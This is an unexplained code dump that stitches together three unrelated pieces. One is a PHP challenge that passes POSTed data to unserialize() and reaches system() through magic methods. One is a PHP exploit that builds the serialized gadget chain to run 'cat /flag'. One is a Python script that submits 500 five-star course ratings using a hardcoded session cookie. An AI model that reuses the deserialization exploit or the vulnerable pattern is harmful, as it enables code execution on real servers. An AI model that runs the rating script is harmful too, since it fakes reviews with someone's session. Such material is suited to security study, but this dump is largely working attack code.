public function __toString() { $this->hhh->aaa($this->aaa); return "win"; }
} class AA { public $qqq; public function __destruct() { return $this->qqq."hello"; } } class AAA{ public $num; public function __call($name, $arguments) { system($arguments[$this->num][$name]); }
} $data=$_POST['NEUQCSA']; if (isset($data)){ unserialize($data); } else{ highlight_file(__FILE__); } ?>
<?php class A{ public $hhh; private $aaa=array("aaa"=>"cat /flag");
} class AA { public $qqq; } class AAA{ public $num; } $flag=new AAA(); $flag->num=0; $second=new A(); $second->hhh=$flag; $first=new AA(); $first->qqq=$second; echo urlencode(serialize($first)); ?>
import requests import time url="http://monian.one:7724/update" po={"https":None,"http":None} cookie={'session':'eyJ1c2VyaWQiOiI2MmY4ZjE3ZS1jM2U4LTQzNzctYTYxNy1lNGNkZmM2Yjc3ODgifQ.ZatjCQ.pOMuv3n2MZnlMsl1g7EfZPIRmWA'} with open('./1.txt', 'r',encoding='utf-8') as file: lines = file.readlines() data = [] for line in lines: line = line.strip() line_data = line.split('\t') data.append(line_data) for i in range(500): datas={ "teacherName":data[i][3], "courseName":data[i][1], "rating":5, "comments":'1', 'id':data[i][0] } res=requests.post(url=url,cookies=cookie,data=datas,proxies=po) if "success" in res.text: print(i) print("success") if "failed" in res.text: print(i) print("failed") time.sleep(0.5)